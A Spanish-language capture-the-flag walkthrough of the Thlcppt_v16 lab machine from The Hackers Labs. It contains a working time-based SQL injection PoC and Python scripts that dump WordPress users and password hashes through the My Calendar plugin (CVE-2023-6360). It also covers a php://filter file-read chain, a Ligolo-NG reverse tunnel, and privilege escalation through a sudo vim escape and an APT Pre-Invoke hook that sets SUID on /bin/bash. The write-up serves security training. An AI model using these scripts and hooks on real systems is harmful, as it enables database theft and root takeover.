Thlcppt_v16

Hola h4ck3r, bienvenido a un nuevo post!

En este artículo, estaremos resolviendo la máquina Thlcppt_v16 de la plataforma The Hackers Labs.

Reconocimiento

Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live) 64.

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima. Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sS -sCV -p- --open --min-rate 5000 -Pn -n -vvv -oN scan 192.168.1.10

Enumeración de servicios

Web

Si miramos el código fuente o hacemos hover sobre el enlace, vemos que esta apuntando a un subdominio examend.thlcpptv16.thl.

Registramos el dominio en nuetro archivo /etc/hosts.

echo "192.168.1.6 thlcpptv16.thl examen.thlcpptv16.thl" >> /etc/hosts

Accedemos al enlace y nos encontramos con la siguiente web.

Como podemos observar en la web y con Wappalyzer esta construida con el CMS Wordpress.

Podemos enumerar el CMS Wordpress utilizando varias herramientas, en este caso, haré uso de wpscan.

wpscan --url http://examen.thlcpptv16.thl/ --api-token $WP_TOKEN

My Calendar < 3.4.22 - Unauthenticated SQL Injection - CVE-2023-6360

Podemos observar en la salida del escaneo, que existe un plugin vulnerable llamado My Calendar v3.4.22. Dicho plugin es vulnerable a SQL Inejction y sin necesidad de autenticación previa.

Podemos leer más acerca de esta vulnerabilidad en los siguientes elnaces:

PoC

time curl "http://examen.thlcpptv16.thl/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)+AND+'a'%3d'a"

Podemos utilizar herramientas automatizadas como sqlmap para explotar la SQLInjection, pero en este caso no viene mal prácticar un poco de scripting en python además de que es más divertido 😃.

Extración de Base de Datos mediante inyección SQL basada en tiempo.

get_database.py
#!/usr/bin/python3

import requests
import signal
import sys
import time
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

main_url = "http://examen.thlcpptv16.thl/"
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""

    for limit in range(0, 5):
        if limit > 0:
            extracted_info += ','

        for position in range(1, 25):
            for character in range(33, 127):
                sqli_url = main_url + f"?rest_route=/my-calendar/v1/events&from=1' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(schema_name,{position},1))={character},SLEEP(1),0) FROM information_schema.schemata LIMIT {limit},1)a) AND 'a'='a"

                p1.status(sqli_url)
            
                res = requests.get(sqli_url)

                if res.elapsed.total_seconds() > float(1):
                    extracted_info += chr(character)
                    p2.status(extracted_info)
                    break
    f = open('databases.txt', 'w')
    f.write(extracted_info)
    f.close()

if __name__ == '__main__':
    makeSQLi()

Encontramos la base de datos de wordpress.

Extracción de los usuarios de la tabla wp_users

Teniendo en cuenta que la base de datos es wordpress, podemos obtener los usuarios de la tabla wp_users.

dump.py
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'

main_url = "http://examen.thlcpptv16.thl/"
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
    
    for limit in range(0,3):
        if limit > 0:
            extracted_info += ','
        
        last_position_char = 0
        for position in range(1, 36):
            for character in characters:
                char = ord(character)
                sqli_url = main_url + f"?rest_route=/my-calendar/v1/events&from=1' AND (SELECT IF(ASCII(SUBSTRING(user_login,{position},1))={char},SLEEP(1),0) FROM wordpress.wp_users LIMIT {limit},1) AND 'a'='a"

                p1.status(sqli_url)
            
                res = requests.get(sqli_url)

                if res.elapsed.total_seconds() > 1:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break

    f = open('databases.txt', 'w')
    f.write(extracted_info)
    f.close()

if __name__ == '__main__':
    makeSQLi()

Extracción de las contraseñas de la tabla wp_users

dump.py
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '.$/'

main_url = "http://examen.thlcpptv16.thl/"
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
    
    for limit in range(0,3):
        if limit > 0:
            extracted_info += ','
        
        last_position_char = 0
        for position in range(1, 36):
            for character in characters:
                char = ord(character)
                sqli_url = main_url + f"?rest_route=/my-calendar/v1/events&from=1' AND (SELECT IF(ASCII(SUBSTRING(user_pass,{position},1))={char},SLEEP(1),0) FROM wordpress.wp_users LIMIT {limit},1) AND 'a'='a"

                p1.status(sqli_url)
            
                res = requests.get(sqli_url)

                if res.elapsed.total_seconds() > 1:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break

    f = open('databases.txt', 'w')
    f.write(extracted_info)
    f.close()

if __name__ == '__main__':
    makeSQLi()
hash.txt
examinador:$P$B43UAoTTnv0stdbxGqzwyQtyXm86x/1
jerry:$P$B0uohNeAjd6aq3n0dv6NC7Nhkro0Kt.
tom:$P$BJrv/Sv/rBlufcIW5FiMdUW4lA5UrN1

Guardamos los hash en un archivo y los crackeamos utilizando la herramienta john.

credentials.txt
tom:iloveme2

Accedemos al wp-admin e iniciamos sesión con las credenciales anteriores.

Si miramos en la web, encontramos un post el cual hace mención a una filtración de datos y también a un nuevo subdominio.

Agregamos examendos.thlcpptv16.thl al archivo /etc/hosts y accedemos a la ruta.

WrapWrap Filter

Observamos que nos indica que debemos ingresar una url la cual apunte a un archivo json o txt.

Podemos probar esto, creando un sample.json y compartirlo mediante un simple servidor http con python.

sample.json
{"test": "test"}

Pero vemos que nos indica que no puede encontrar el archivo, a pesar de que recibimos correctamente la petición.

Si observamos bien el texto que nos da el formulario, podemos ver que nos da una pequeña pista filter y WrapWrap haciendo alución a los filtros y wrappers de php.

Si buscamos en Google por Wrap Filters Php, encontramos el este repositorio.

Lo clonamos a nuestra máquina.

git clone https://github.com/ambionics/wrapwrap

Además, debemos descargar como requerimiento ten.

git clone https://github.com/cfreal/ten.git
cd ten
pip3 install .

Luego, ingresamos al directorio del repositorio wrapwrap y podes ejecutar lo siguiente como PoC.

./wrapwrap.py /etc/passwd '{"message: "' '"}' 1000

La ejecución de este script, genera un archivo llamado chain.txt el cual contien una cadena php://filter que agrega un prefijo y un sufijo al contenido de un archivo. En este caso, el prefijo es '{"message": "' y el sufijo '"}'.

Creamos un simple servidor HTTP con Python para compartir el archivo chain.txt.

Ahora, realizamos una petición utilizando en este caso curl al archivo process.php.

curl -X POST http://examendos.thlcpptv16.thl/process.php -H 'content-type:application/x-www-form-urlencoded' --data 'url=http://192.168.1.18/chain.txt'

Genial, logramos leer el archivo /etc/passwd.

Ahora, si recordamos lo que mencionaba el post, el archivo que sea habia filtrado es el /var/www/examen.thlcpptv16.thl/wp-config.php

Intentemos leer ese archivo haber que encontramos.

Corremos nuevamente el script para generar el archivo chain.txt.

Creamos el servidor HTTP con python y lanzamos la petición con curl.

Podemos observar, que logramos leer el contenido del archivo wp-config.php, donde encontramos una contraseña.

Probamos conectarnos con el usuario por ssh con tom y estas credenciales.

credentials.txt
tom:T0mB3stP4ssw0rd! (SSH)

Usuario tom

Si miramos en el directorio home de tom, encontramos un archivo llamado ToDo y dentro de este lo siguiente:

Vemos que hace referencia a un supuesto alias y a otro usuario llamado rafael y una nueva máquina.

También hace alución al usuario jerry encontrado anteriormente.

Si miramos el archivo .bashrc, podemos observar que existe un alias llamado rafael, el comando a ejecutar intenta establecer una conexión SSH al servidor 172.101.0.5 como el usuario rafael, proporcionando automáticamente la contraseña Zds18Blt5iWY006ZaTpMclE1.

credentials.txt
rafael:Zds18Blt5iWY006ZaTpMclE1 (SSH) 172.101.0.5

Antes de seguir adelante e intetar conectarnos a la nueva máquina, podemos seguir enumerando un poco más la máquina actual para ver si encontramos alguna otra cosa interesante.

Si miramos dentro del directorio /var/backup existe un archivo llamado passwd.dll el cual pertenece al usuario jerry.

A pesar de que el contenido es legible, parece estar codificado en algun tipo de algoritmo.

En este caso, esta codificada utilizando ROT13, para lo cual podemos hacer uso de la utilidad rot13.

Podemos observar, que nos revela la clave ssh del usuario jerry.

credentials.txt
jerry:GPAZHGNvMjDdOh9969A0YAE6 (jerry_laptop)

Teniendo estas credenciales, lo primero que haremos es ingresar a la máquina de rafael.

Usuario rafael

Leemos la flag de user.txt

Escalación de privilegios

Para escalar nuestros privilegios, realizamos una enumeración básica del sistema. Vemos que los unicos usuarios en esta máquina con shell son rafael y root. Por lo que todo indica, que debemos escalar directamente a root sin realizar ningun movimiento lateral previo.

Si hacemos un sudo -l vemos que el usuario rafael puede ejecutar el comando /usr/bin/vim con privilegios de superusuario (sudo) sin necesidad de proporcionar una contraseña.

Si miramos en GTFobins vemos que existe una forma de pode escalar nuestros privielgios.

Por lo que procedemos a escalar nuestros privilegios.

Genial, somos root dentro del contenedor.

Si miramos en el directorio root, encontramos un fichero llamado tunnelRafael.conf el cual coincide con la configuración típica de WireGuard, una herramienta de VPN (Virtual Private Network).

Vemos que se configura una nueva subred 10.13.13.1/24.

Descargamos el fichero a nuestra máquina atacante.

Para poder acceder a la nueva subred deberemos jugar con la herramienta Ligolo-NG.

Descargamos los binarios de agent y proxy.

Creamos la nueva interfaz.

sudo ip tuntap add user d4redevil mode tun ligolo
sudo ip link set ligolo up

Ejecutamos el proxy de Ligolo.

Y ahora lo que debemos ejectura el agent de ligolo en la máquina víctima.

./agent -connect 192.168.1.18:11601 -ignore-cert

Iniciamos la sesión.

Añadimos la nueva ruta.

sudo ip route add 172.101.0.0/28 dev ligolo

Iniciamos la VPN con wireguard.

Para esto, podemos utilizar la herramienta wg-quick que para instalarla en Kali podemos hacer:

sudo apt install wireguard-tools resolvconf

Para ejecutarla simplemente debemos indicar la opción up y pasarle el archivo de configuración de la VPN.

Si ejecutamos un ip a podemos comprobar que tenemos la nueva interfaz de la VPN configurada.

Podemos comprobar con un simple escaneo, que la máquina 10.13.13.3 tiene el puerto 22 (SSH) abierto.

Usuario jerry

Nos conectamos a la máquina con el usuario jerry.

Elevación de privilegios

Realizamos una enumeración utilizando la herramienta linpeas.sh.

Como el usuario jerry pertenece al grupo sistema tiene capacidad de escritura en el directorio /etc/apt/apt.conf.d

En los archivos de configuración de APT (Advanced Package Tool) en sistemas basados en Debian, la sintaxis APT::Update::Pre-Invoke:: "/bin/bash -c '{"chmod u+s /bin/bash"}';"; se utiliza para definir acciones que deben ejecutarse antes de que el comando apt update comience su operación.

Sintaxis:

  • APT: Indica que esta configuración pertenece al sistema APT.

  • Update: Se refiere específicamente a la acción de actualización del índice de paquetes (apt update).

  • Pre-Invoke: Este es un "hook" o gancho que se ejecuta antes de que comience la operación de actualización.

  • ::=: Es el operador de asignación utilizado en los archivos de configuración de APT para definir el valor de una opción.

  • /bin/bash -c '{"chmod u+s /bin/bash"}';: Especifica el comando o script que se ejecutará. En este caso, se asignan privilegios SUID al binario Bash.

Referencias: https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/

Creamos un archivo llamado 01ab.

El motivo por le cual el nombre del archivo es este, se debe a lo siguiente:

  • Número para el Orden de Ejecución:

    • 00 a 09: Archivos que se deben procesar primero.

    • 10 a 89: Archivos para configuraciones estándar.

    • 90 a 99: Archivos para configuraciones finales o personalizadas que deben sobrescribir las configuraciones anteriores.

01ab
APT::Update::Pre-Invoke:: "/bin/bash -c '{"chmod u+s /bin/bash"}';";

Ejecutamos bash -p y escalamos nuestros privilegios.

Bajo el directorio /root, encotramos un archivo llamado homeCreds.txt, y dentro de las credenciales del usuario jerry.

Usuario jerry host

Nos conectamos a la máquina principal con estas credenciales por ssh.

Escalación de privilegios

Si realizamos una enumeración básica, nos encontramos con que podemos ejecutar con sudo, como el usuario root y sin proporcionar contraseña el binario de nginx.

Si investigamos un poco sobre la escalada de privilegios abusando de ngnix con sudo, encontramos este exploit:

En pocas palabras, lo que realiza el exploit es configurar y ejecutar un servidor Nginx con privilegios de root, genera una clave SSH y añade la clave pública al archivo authorized_keys del usuario root en el servidor.

Subimos el script a la máquina víctima, asignamos permisos de ejecución y lo ejecutamos.

Copiamos esta clave a un archivo id_rsa para luego finalmente conectarnos a la máquina como el usuario root.

Finalmente, leemos la flag de root.txt.

De esta manera, concluimos la resolución de la máquina Thlcppt_v16.

Espero que los conceptos hayan quedado claros y hayas disfrutado del contenido.

¡Gracias por leer!

Happy Hacking!

Última actualización